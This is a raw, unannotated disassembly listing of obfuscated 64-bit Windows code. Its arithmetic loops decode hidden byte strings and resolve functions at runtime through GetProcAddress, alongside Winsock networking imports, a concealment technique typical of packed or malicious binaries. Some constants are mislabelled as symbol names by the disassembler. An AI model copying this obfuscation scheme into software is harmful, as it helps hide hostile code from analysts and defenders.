lea edx, [r9 - 0x54]
mov ecx, 0x26
jmp 0x14006285d
lea rax, [r8 + 0x40]
cmp rbx, rax
jae 0x14006255b
lea ecx, [r9 + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x76
jmp 0x1400623eb
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140062590
sub r9b, 0x3c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5c
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x140061ef5
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400625b9
sub r9b, 0x6c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xc
add rbx, r8
jmp 0x14006290c
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400625d0
lea edx, [r9 + 0x48]
mov ecx, 4
jmp 0x1400628a5
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400623eb
lea edx, [r9 + 0x64]
mov ecx, 0x22
jmp 0x14006285d
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006260f
lea ecx, [r9 + 0x26]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xa
jmp 0x14006286e
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006263e
sub r9b, 0x72
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140061ef5
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140062667
sub r9b, 0x56
movzx eax, r9b
and al, r10b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006290c
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006268f
lea edx, [r9 + 0x5e]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006294a
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400626b5
add r9b, 0x12
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7e
jmp 0x140062973
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x1400623a6
sub r9b, 0x3a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6a
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x140061ef5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140062726
sub r9b, 0x78
movzx eax, r9b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x140061ef5
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006274e
lea edx, [r9 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006294a
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140062777
add r9b, 0x58
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x68
add rbx, r8
jmp 0x14006290c
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400627a3
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
dec r11
inc r11
jmp 0x140061ef5
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140062368
add r9b, 0x74
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2c
inc r8
dec r11
inc r11
jmp 0x140061ef5
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 8
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400628b6
lea edx, [r9 + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006294a
sub r9b, 0x66
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x36
jmp 0x14006290c
lea ecx, [r9 + 0x32]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5e
jmp 0x1400628b6
lea edx, [r9 + 0x16]
mov ecx, 0x33
jmp 0x14006285d
movzx r9d, r11b
lea edx, [r9 - 0x52]
mov ecx, 0x1f
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x36
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x7a
add r10b, r9b
mov byte [rbp + r11 + 0x10], r10b
inc r8
dec r11
inc r11
jmp 0x140061ef5
movzx r9d, r11b
lea edx, [r9 - 0x6e]
mov ecx, 1
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x16
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x66
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x10], cl
add rbx, r8
jmp 0x14006290c
lea ecx, [r11 - 0x22]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x12
add rbx, r8
jmp 0x14006290c
lea rax, [r11 + r13]
and sil, al
add sil, sil
sub r10b, sil
lea edi, [rax + r10]
sub dil, 0x26
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140061ef5
movabs rcx, 0x9c0ac8f294e94c76
add rcx, r11
and sil, cl
add sil, sil
movzx edi, r10b
sub dil, sil
sub dil, 0x3a
add dil, cl
movzx r9d, r11b
sub r9b, 0x62
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x52
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x10], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x10], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x140061ef5
movabs rax, 0x42e00cfa3fd1b30e
add rax, r11
and sil, al
add sil, sil
sub r10b, sil
lea edi, [rax + r10]
sub dil, 0x62
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x140061ef5
sub r9b, 0x3e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4e
jmp 0x140061ef2
add r9b, 0xe
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x62
jmp 0x140061ee2
lea rdx, [rbp + 0x176c488]
jmp 0x140062a36
lea rdx, [rbp + 0x13caae2]
jmp 0x140062a36
lea rdx, [rbp + 0x10]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x30], rax
mov byte [rbp + 0x200], gethostname
mov byte [rbp + 0x201], 0x1e
mov byte [rbp + 0x202], WSASetLastError
mov byte [rbp + 0x203], 7
mov byte [rbp + 0x204], 0x19
mov byte [rbp + 0x205], 0x76
mov byte [rbp + 0x206], 0x1b
mov byte [rbp + 0x207], WSASetLastError
mov byte [rbp + 0x208], 0x19
mov byte [rbp + 0x209], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x20a], 0x19
mov byte [rbp + 0x20b], 0x68
mov byte [rbp + 0x20c], WSASetLastError
mov byte [rbp + 0x20d], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x20e], 0x65
mov byte [rbp + 0x20f], 0x7e
mov byte [rbp + 0x210], gethostname
mov byte [rbp + 0x211], 0x7d
mov byte [rbp + 0x212], 0x7c
mov byte [rbp + 0x213], 0x79
mov byte [rbp + 0x214], WSACleanup
mov byte [rbp + 0x215], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x216], 0x7b
mov byte [rbp + 0x217], 0x7b
mov byte [rbp + 0x218], 9
mov byte [rbp + 0x219], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x21a], 0xe0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x21b], xmm0
mov word [rbp + 0x22b], ax
mov byte [rbp + 0x22d], al
movabs r12, 0x66e0f81371b8ab1f
movabs r13, 0x34a2e83a552a015d
movzx edi, byte [rbp + 0x400]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x2e
jae 0x1400636c9
movzx r10d, byte [rbp + r11 + 0x200]
mov edx, r10d
movzx r9d, r11b
nop dword [rax]
movzx esi, r9b
cmp rbx, r11
ja 0x1400636c0
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140062ba0
lea rcx, [r11 + r12]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x27
jmp 0x140062bcd
je 0x140063653
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006361f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400635e7
lea rax, [r8 + 7]
cmp rbx, rax
je 0x1400635c4
movzx r9d, r11b
cmp r8, r11
ja 0x1400636b7
lea rax, [r8 + 0x40]
cmp rbx, rax
jae 0x140062bfb
lea ecx, [r9 - 0x75]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x33
jmp 0x140062c40
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140063581
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006355b
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006353e
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140063521
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140063505
nop dword [rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400631bd
nop dword [rax]
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400631a2
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140063179
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140063153
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140063136
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140063119
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400630f9
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x1400630de
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x1400630c1
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006308f
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140062c50
lea rbx, [r8 + 0x80]
lea r8, [rbx + 0x3e8]
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14006369a
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14006367d
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140062e40
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140062e25
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140062e0a
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140063046
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140062ffc
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140062fbc
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140062f94
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x140062c50
lea rbx, [r8 + 5]
lea r8, [rbx + 0x80]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140062f62
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140062f42
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140062f26
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140062f06
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140062ee6
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140062ec6
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140062ea3
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140062e7a
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140062e5b
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140062c50
lea rbx, [r8 + 3]
lea r8, [rbx + 5]
jmp 0x140062c50
lea ecx, [r9 - 0x2b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x2d
jmp 0x140062c40
lea ecx, [r9 - 0x69]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x21
jmp 0x140062bd1
lea ecx, [r9 + 0x59]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6f
jmp 0x140062b70
lea edx, [r9 + 0x58]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x68
add dil, dl
jmp 0x140063597
add r9b, 0x1a
movzx eax, r10b
and al, r9b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x140062b53
sub r9b, 0x24
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 4
dec r11
inc r11
jmp 0x140062b53
sub r9b, 0x62
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x52
add dil, r9b
jmp 0x1400635fc
add r9b, 0x60
movzx eax, r10b
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140063637
add r9b, 0x22
movzx eax, r10b
and al, r9b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14006363a
lea edx, [r9 - 0x1c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x3c
jmp 0x14006348e
sub r9b, 0x5a
movzx eax, r10b
and al, r9b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400634be
add r9b, 0x68
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x200]
add rax, r8
add r11, rax
inc r11
jmp 0x140062b53
sub r9b, 0x33
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x65
mov byte [rbp + r11 + 0x200], dil
inc r11
jmp 0x140062b53
lea edx, [r9 - 0x71]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x17
add dil, dl
cmp r8, 0x40
jb 0x140062fac
lea edx, [r9 + 0x5a]
movzx eax, r10b
and al, dl
mov ecx, 5
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140063597
lea edx, [r9 + 0x51]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x37
add dil, dl
cmp rbx, 0x5a
jae 0x140063457
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x14006337c
lea edx, [r9 - 0x12]
movzx eax, r10b
and al, dl
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140062fd3
lea ecx, [r9 + 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7b
lea rax, [r8 + rbx]
cmp rax, 1
je 0x14006347a
lea rax, [r8 + 0x28]
cmp rbx, rax
jbe 0x1400632ca
lea ecx, [r9 + 0x63]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x4b
jmp 0x140063016
add r9b, 0x42
movzx eax, r9b
and al, r10b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x200]
add rax, r8
add r11, rax
inc r11
jmp 0x140062b53
add r9b, 4
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1c
jmp 0x1400634be
lea ecx, [r9 - 0x3a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6a
jmp 0x140063491
sub r9b, 0x78
movzx eax, r9b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006363a
add r9b, 0x4a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 6
jmp 0x140063637
add r9b, 0xc
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x54
jmp 0x1400635fc
sub r9b, 0x32
movzx eax, r9b
and al, r10b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140062b53
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140062b53
lea ecx, [r9 + 0x52]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3e
jmp 0x140063597
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x1400631e1
lea ecx, [r9 + 0x1f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x27
jmp 0x14006305c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006321c
add r9b, 0x16
movzx eax, r9b
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x200]
add rax, r8
add r11, rax
inc r11
jmp 0x140062b53
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140063242
add r9b, 0xe
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x62
jmp 0x140063637
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140063268
add r9b, 0x4c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x14
jmp 0x1400635fc
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140063297
sub r9b, 0x76
movzx eax, r9b
and al, r10b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140062b53
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006305c
sub r9b, 0x38
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x78
inc r8
dec r11
inc r11
jmp 0x140062b53
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400632ee
lea ecx, [r9 - 0x5f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x67
jmp 0x140063597
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006331a
add r9b, 0x1d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x35
dec r11
inc r11
jmp 0x140062b53
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140063340
add r9b, 0x5b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7d
jmp 0x1400635fc
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140063016
sub r9b, 0x6f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 9
movzx eax, byte [rbp + r11 + 0x200]
add rax, r8
add r11, rax
inc r11
jmp 0x140062b53
jne 0x1400633ad
add r9b, 0x2c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x34
movzx eax, byte [rbp + r11 + 0x200]
add rax, r8
add r11, rax
inc r11
jmp 0x140062b53
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400633d6
add r9b, 0x24
movzx eax, r10b
and al, r9b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140063637
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400633ff
add r9b, 0x62
movzx eax, r10b
and al, r9b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400635fc
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006342b
sub r9b, 0x60
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x60
dec r11
inc r11
jmp 0x140062b53
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140062fd6
lea edx, [r9 + 0x1c]
movzx eax, r10b
and al, dl
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140063597
sub r9b, 0x68
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x28
add dil, r10b
add dil, r9b
jmp 0x1400635fc
lea edx, [r9 - 0x2a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
sub r9b, 0xb
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x4d
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x200], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x14]
movzx eax, r10b
and al, dl
mov ecx, 0x3a
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x200], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x200]
add rax, r8
add r11, rax
inc r11
jmp 0x140062b53
dec r9b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 7
jmp 0x14006363a
sub r9b, 0x3f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x47
jmp 0x140063637
sub r9b, 0x7d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x6b
jmp 0x1400635fc
add r9b, 7
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x31
inc r8
dec r11
inc r11
jmp 0x140062b53
lea ecx, [r9 - 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7f
add r9b, 0x79
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x4f
add r10b, r9b
mov byte [rbp + r11 + 0x200], r10b
inc r8
dec r11
inc r11
jmp 0x140062b53
sub sil, 0x2f
movzx eax, sil
and al, r10b
add al, al
sub sil, al
lea edi, [r10 + rsi]
add dil, 0x49
dec r11
inc r11
jmp 0x140062b53
lea ecx, [rsi - 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 5
sub sil, 0x49
movzx eax, r10b
and al, sil
add al, al
sub r10b, al
dec r10b
add r10b, dil
add r10b, sil
mov byte [rbp + r11 + 0x200], r10b
jmp 0x140063637
add sil, 0x55
movzx eax, sil
and al, r10b
add al, al
sub sil, al
lea edi, [r10 + rsi]
sub dil, 0x53
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140062b53
lea rax, [r11 + r13]
and dl, al
add dl, dl
sub r10b, dl
lea edi, [rax + r10]
add dil, 0x75
movzx eax, byte [rbp + r11 + 0x200]
add rax, r8
add r11, rax
inc r11
jmp 0x140062b53
add r9b, 0x1b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x43
jmp 0x140062b50
sub r9b, 0x23
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0xb
jmp 0x140062b35
lea rdx, [rbp + 0x152fad4]
jmp 0x1400636d0
lea rdx, [rbp + 0x4ba5f3]
jmp 0x1400636d0
lea rdx, [rbp + 0x200]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x38], rax
mov byte [rbp + 0x230], 0xe0
mov byte [rbp + 0x231], gethostname
mov byte [rbp + 0x232], 0x3f
mov byte [rbp + 0x233], 0xe6
mov byte [rbp + 0x234], 0x30
mov byte [rbp + 0x235], gethostname
mov byte [rbp + 0x236], 0xbb
mov byte [rbp + 0x237], 0x45
mov byte [rbp + 0x238], 0xb8
mov byte [rbp + 0x239], 0x9f
mov byte [rbp + 0x23a], 0x4c
mov byte [rbp + 0x23b], 0xb2
mov byte [rbp + 0x23c], 0x45
mov byte [rbp + 0x23d], 0xbc
mov byte [rbp + 0x23e], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x23f], 0x4d
mov byte [rbp + 0x240], 0x40
mov byte [rbp + 0x241], 0x4e
mov byte [rbp + 0x242], __WSAFDIsSet
mov byte [rbp + 0x243], 0x4f
mov byte [rbp + 0x244], 0xb1
mov byte [rbp + 0x245], 0xb4
mov byte [rbp + 0x246], 0x54
mov byte [rbp + 0x247], 0x5b
mov byte [rbp + 0x248], 0x85
mov byte [rbp + 0x249], 0x5b
mov byte [rbp + 0x24a], 0xaf
mov byte [rbp + 0x24b], 0xa2
mov byte [rbp + 0x24c], 0xc0
xor eax, eax
mov qword [rbp + 0x24d], rax
mov word [rbp + 0x255], ax
movabs rsi, 0xb0a6831bb7c80a3a
movabs r12, 0x73408f8a96e83322
movabs r15, 0x11f3895327581eae
movzx edi, byte [rbp + 0x400]
nop
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x27
jae 0x1400642e9
movzx r10d, byte [rbp + r11 + 0x230]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x1400642e0
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006383c
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x6a
jmp 0x140063876
je 0x140064267
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006420b
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400641ac
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140064187
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140064140
movzx r9d, r11b
nop word [rax + rax]
cmp r8, r11
ja 0x1400642d7
lea rax, [r8 + 0x40]
cmp rbx, rax
jae 0x1400638aa
lea ecx, [r9 - 0x3e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4e
jmp 0x1400638e0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140064128
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140064102
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400640b5
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140064098
nop
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x140063e29
nop dword [rax]
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140063e0e
lea rcx, [r8 + 0x61]
cmp rbx, rcx
je 0x140063de5
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140063dbf
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140063db1
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140063d94
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140063d77
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140063d5c
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140063d3f
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140063d22
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x1400638f0
mov rbx, rcx
lea r8, [rcx + 6]
lea rax, [r8 + 8]
cmp rcx, rax
jb 0x1400642b7
lea rax, [r8 + 2]
cmp rcx, rax
jb 0x140064297
lea rax, [r8 + 0x40]
cmp rcx, rax
jb 0x140063ad5
lea rax, [r8 + 0x5a]
cmp rcx, rax
jb 0x140063aba
lea rax, [r8 + 0x400]
cmp rcx, rax
jb 0x140063a9f
lea rax, [r8 + 5]
cmp rcx, rax
jb 0x140063cd7
lea rax, [r8 + 0x80]
cmp rcx, rax
jb 0x140063c73
lea rax, [r8 + 0x20]
cmp rcx, rax
jb 0x140063c33
lea rax, [r8 + 0x7a]
cmp rcx, rax
jb 0x140063c0b
lea rax, [r8 + 0x200]
cmp rcx, rax
jb 0x1400638f0
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 3]
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140063bdc
lea rcx, [r8 + 0x5a]
cmp rbx, rcx
